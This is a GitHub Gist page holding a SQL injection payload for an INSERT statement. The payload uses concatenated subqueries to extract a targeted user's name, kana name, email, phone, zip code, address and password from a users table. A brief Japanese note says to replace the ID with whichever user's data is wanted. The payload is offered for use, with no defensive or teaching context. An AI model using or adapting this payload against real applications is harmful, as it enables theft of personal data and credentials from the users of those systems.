Skip to content

Instantly share code, notes, and snippets.

@enzerus
Created March 16, 2016 19:00
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save enzerus/2f87ef8b4a63ec5b6889 to your computer and use it in GitHub Desktop.
Save enzerus/2f87ef8b4a63ec5b6889 to your computer and use it in GitHub Desktop.
fox',特定したユーザーID,concat((select name from users where id = 5 order by id desc limit 0,1),',',
(select kana from users where id = 5 order by id desc limit 0,1),',',
(select email from users where id = 5 order by id desc limit 0,1),',',
(select tel from users where id = 5 order by id desc limit 0,1),',',
(select zip_code from users where id = 5 order by id desc limit 0,1),',',
(select address from users where id = 5 order by id desc limit 0,1),',',
(select password from users where id = 5 order by id desc limit 0,1)),'2015/11/18 07:10:10','2015/11/18 07:10:00'),('1
where id = 5の部分は、適当に引き出したいユーザーのIDを入力。
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment